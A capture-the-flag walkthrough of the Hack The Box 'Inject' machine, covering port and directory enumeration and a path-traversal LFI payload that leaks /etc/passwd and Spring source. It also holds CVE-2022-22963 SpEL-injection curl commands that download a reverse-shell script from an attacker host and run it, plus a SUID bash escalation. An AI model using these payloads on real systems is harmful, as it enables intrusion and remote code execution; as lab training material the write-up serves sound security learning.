NETWORK ENUMERATION:

TCP PORTS:

PORT      STATE    SERVICE     VERSION
22/tcp    open     ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
8080/tcp  open     nagios-nsca Nagios NSCA
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-title: Home
36533/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 11:23
Completed NSE at 11:23, 0.00s elapsed
Initiating NSE at 11:23
Completed NSE at 11:23, 0.00s elapsed
Initiating NSE at 11:23
Completed NSE at 11:23, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.85 seconds
           Raw packets sent: 84873 (3.734MB) | Rcvd: 67259 (2.690MB)

UDP - 200:

hax-13@ZARB:~/Documents/ctfs/htb/easy/inject-10.129.183.225$ sudo nmap -sU -p 1-200 $victim -oN nmap/udp-200
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-14 11:32 PKT
Stats: 0:00:02 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 8.67% done; ETC: 11:32 (0:00:21 remaining)
Nmap scan report for inject.htb (10.129.183.225)
Host is up (0.21s latency).
Not shown: 199 closed ports
PORT   STATE         SERVICE
68/udp open|filtered dhcpc

Nmap done: 1 IP address (1 host up) scanned in 214.13 seconds

Let’s visit the webserver at port 8080.

WEB ENUMERATION:

Landing Page:

LNDING PAGE

TECHNOLOGIES:

hax-13@ZARB:~/Documents/ctfs/htb/easy/inject-10.129.183.225$ whatweb http://inject.htb:8080/
http://inject.htb:8080/ [200 OK] Bootstrap, Content-Language[en-US], Country[RESERVED][ZZ], Frame, HTML5, IP[10.129.183.225], Title[Home], YouTube
hax-13@ZARB:~/Documents/ctfs/htb/easy/inject-10.129.183.225$ 

The website is made using bootstrap and no other language is found.

Direcotry Scan


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://inject.htb:8080/FUZZ
 :: Wordlist         : FUZZ: /opt/wordlist/SecLists/Discovery/Web-Content/raft-medium-directories.txt
 :: Output file      : ffuf/raft-on-root.txt
 :: File format      : json
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

register                [Status: 200, Size: 5654, Words: 1053, Lines: 104]
upload                  [Status: 200, Size: 1857, Words: 513, Lines: 54]
blogs                   [Status: 200, Size: 5371, Words: 1861, Lines: 113]
                        [Status: 200, Size: 6657, Words: 1785, Lines: 166]
:: Progress: [30000/30000] :: Job [1/1] :: 122 req/sec :: Duration: [0:04:05] :: Errors: 2 ::

Let’s Visit the Blog And see if we can find some information.

Blogs

We can see some usernames that can be usefull.

Registration

The registration page is under construction.

UPLOAD PAGE

Let’s try to upload a image and see what happens and how this functionality operates.

Now we can click on the url and see the image.

The url can be vulnerable to LFI or OS COMMAND INJECTION. Or Another Possibility is to try to upload a PHP revese shell and bypass the uploading filters.(Disclamier : I was wrong the web is built on sping framework by java)

LFI CONFIRMED ON /show_image ENDPOINT.

Let’s try some LFI payloads to see if it’s vulnerble. http://inject.htb:8080/show_image?img=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

GIF

Let’s traverse the directories and retrieve the source code.

User.Java

payload = %2e%2e%2f%2e%2e%2fmain%2fjava%2fcom%2fexample%2fWebApp%2fuser%2fUser.java


//package com.example.WebApp.user;
//
//import org.hibernate.annotations.GeneratorType;
//import org.hibernate.annotations.ValueGenerationType;
//
//import javax.persistence.*;
//
//@Entity
//@Table(name = "zodd_users")
//public class User {
//    @Id
//    @GeneratedValue(strategy = GenerationType.IDENTITY)
//    private Long id;
//
//    @Column(nullable = false, unique = true, length = 45)
//    private String email;
//
//    public String getPassword() {
//        return password;
//    }
//
//    public void setPassword(String password) {
//        this.password = password;
//    }
//
//    @Column(nullable = false, length = 64)
//    private String password;
//    private String firstName;
//    private String lastName;
//
//    public Long getId() {
//        return id;
//    }
//
//    public void setId(Long id) {
//        this.id = id;
//    }
//
//    public String getEmail() {
//        return email;
//    }
//
//    public void setEmail(String email) {
//        this.email = email;
//    }
//
//    public String getFirstName() {
//        return firstName;
//    }
//
//    public void setFirstName(String firstName) {
//        this.firstName = firstName;
//    }
//
//    public String getLastName() {
//        return lastName;
//    }
//
//    public void setLastName(String lastName) {
//        this.lastName = lastName;
//    }
//}

UserController.java

package com.example.WebApp.user;

import org.springframework.core.io.Resource;
import org.springframework.core.io.UrlResource;

import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller;


import java.nio.file.Path;
import org.springframework.ui.Model;

import org.springframework.util.StringUtils;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.multipart.MultipartFile;

import javax.activation.*;
import java.io.*;
import java.net.MalformedURLException;
import java.nio.file.Files;

import java.nio.file.Paths;
import java.nio.file.StandardCopyOption;

@Controller
public class UserController {

    private static String UPLOADED_FOLDER = "/var/www/WebApp/src/main/uploads/";

    @GetMapping("")
    public String homePage(){
        return "homepage";
    }

    @GetMapping("/register")
    public String signUpFormGET(){
        return "under";
    }

    @RequestMapping(value = "/upload", method = RequestMethod.GET)
    public String UploadFormGet(){
        return "upload";
    }

    @RequestMapping(value = "/show_image", method = RequestMethod.GET)
    public ResponseEntity getImage(@RequestParam("img") String name) {
        String fileName = UPLOADED_FOLDER + name;
        Path path = Paths.get(fileName);
        Resource resource = null;
        try {
            resource = new UrlResource(path.toUri());
        } catch (MalformedURLException e){
            e.printStackTrace();
        }
        return ResponseEntity.ok().contentType(MediaType.IMAGE_JPEG).body(resource);
    }

    @PostMapping("/upload")
    public String Upload(@RequestParam("file") MultipartFile file, Model model){
        String fileName = StringUtils.cleanPath(file.getOriginalFilename());
        if (!file.isEmpty() && !fileName.contains("/")){
            String mimetype = new MimetypesFileTypeMap().getContentType(fileName);
            String type = mimetype.split("/")[0];
            if (type.equals("image")){

                try {
                    Path path = Paths.get(UPLOADED_FOLDER+fileName);
                    Files.copy(file.getInputStream(),path, StandardCopyOption.REPLACE_EXISTING);
                } catch (IOException e){
                    e.printStackTrace();
                }
                model.addAttribute("name", fileName);
                model.addAttribute("message", "Uploaded!");
            } else {
                model.addAttribute("message", "Only image files are accepted!");
            }
            
        } else {
            model.addAttribute("message", "Please Upload a file!");
        }
        return "upload";
    }

    @GetMapping("/release_notes")
    public String changelog(){
        return "change";
    }

    @GetMapping("/blogs")
    public String blogPage(){
        return "blog";
    }
    
}

Found Pom.xml. In the directory. For those who doesnot know what is pom.xml, then here is a small discription for you. The pom.xml file is an important configuration file in a Java project that uses the Spring framework and is managed by Apache Maven, a popular build automation tool. The pom.xml file contains information about the project, such as the project’s name, version, dependencies, and build settings.It also contains the dependencies and libraries.

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
	<modelVersion>4.0.0</modelVersion>
	<parent>
		<groupId>org.springframework.boot</groupId>
		<artifactId>spring-boot-starter-parent</artifactId>
		<version>2.6.5</version>
		<relativePath/> <!-- lookup parent from repository -->
	</parent>
	<groupId>com.example</groupId>
	<artifactId>WebApp</artifactId>
	<version>0.0.1-SNAPSHOT</version>
	<name>WebApp</name>
	<description>Demo project for Spring Boot</description>
	<properties>
		<java.version>11</java.version>
	</properties>
	<dependencies>
		<dependency>
  			<groupId>com.sun.activation</groupId>
  			<artifactId>javax.activation</artifactId>
  			<version>1.2.0</version>
		</dependency>

		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-thymeleaf</artifactId>
		</dependency>
		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-web</artifactId>
		</dependency>

		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-devtools</artifactId>
			<scope>runtime</scope>
			<optional>true</optional>
		</dependency>

		<dependency>
			<groupId>org.springframework.cloud</groupId>
			<artifactId>spring-cloud-function-web</artifactId>
			<version>3.2.2</version>
		</dependency>
		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-test</artifactId>
			<scope>test</scope>
		</dependency>
		<dependency>
			<groupId>org.webjars</groupId>
			<artifactId>bootstrap</artifactId>
			<version>5.1.3</version>
		</dependency>
		<dependency>
			<groupId>org.webjars</groupId>
			<artifactId>webjars-locator-core</artifactId>
		</dependency>

	</dependencies>
	<build>
		<plugins>
			<plugin>
				<groupId>org.springframework.boot</groupId>
				<artifactId>spring-boot-maven-plugin</artifactId>
				<version>${parent.version}</version>
			</plugin>
		</plugins>
		<finalName>spring-webapp</finalName>
	</build>

</project>

FOOTHOLD [FRANK]

After analysing every exploit for the dependecies. I came to know that the spingframework.cloud for version 3.2.2. CVE-2022-22963.

I found this blog where we can get the understanding of how this exploit works


curl -i -s -k -X $'POST' -H $'Host: 10.10.11.204:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\"ping -c 4 10.10.14.147")' --data-binary $'exploit_poc' $'http://10.10.11.204:8080/functionRouter'

Let’s see if we recieved the ping back.

Let’s get the reverse shell back.

curl -i -s -k -X $'POST' -H $'Host: 10.10.11.204:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\"curl http://10.10.14.147:7777/shell.sh -o /tmp/revshell.sh")' --data-binary $'exploit_poc' $'http://10.10.11.204:8080/functionRouter'

Now we have tranfered the file to victim and lets trigger it to get reverse shell.

curl -i -s -k -X $'POST' -H $'Host: inject.htb:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\"bash /tmp/shell.sh")' --data-binary $'exploit_poc' $'http://injec.htb:8080/'

PRIVILLEGE ESCALATION [PHILL]

Let’s see what we can find in the Frank’s Home direcory.

We will find a settings.xml in .m2 directory.

We can see the password of user phil.

PRIVESC [ROOT]

The PrivEsc is insanely easy .

After running linpeas found that /bin/bash hash suid bit set.

═══════════════════════════════╣ Interesting Files ╠═══════════════════════════════                                       
                               ╚═══════════════════╝                                                                      
╔══════════╣ SUID - Check easy privesc, exploits and write perms                                                          
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid                                          
-rwsr-xr-x 1 root root 67K Feb  7  2022 /usr/bin/su                                                                       
-rwsr-xr-x 1 root root 1.2M Apr 18  2022 /usr/bin/bash                                                                    
-rwsr-xr-x 1 root root 39K Mar  7  2020 /usr/bin/fusermount
-rwsr-xr-x 1 root root 84K Nov 29 11:53 /usr/bin/chfn  --->  SuSE_9.3/10
-rwsr-xr-x 1 root root 67K Nov 29 11:53 /usr/bin/passwd  --->  Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-sr-x 1 daemon daemon 55K Nov 12  2018 /usr/bin/at  --->  RTru64_UNIX_4.0g(CVE-2002-1614)
-rwsr-xr-x 1 root root 87K Nov 29 11:53 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 52K Nov 29 11:53 /usr/bin/chsh
-rwsr-xr-x 1 root root 39K Feb  7  2022 /usr/bin/umount  --->  BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 163K Jan 16 13:06 /usr/bin/sudo  --->  check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root 44K Nov 29 11:53 /usr/bin/newgrp  --->  HP-UX_10.20
-rwsr-xr-x 1 root root 55K Feb  7  2022 /usr/bin/mount  --->  Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 463K Mar 30  2022 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 15K Jul  8  2019 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 23K Feb 21  2022 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-- 1 root messagebus 51K Oct 25 13:09 /usr/lib/dbus-1.0/dbus-daemon-launch-helper

So i would just have to do /bin/bash -p to become root.


This was an easy box indeed.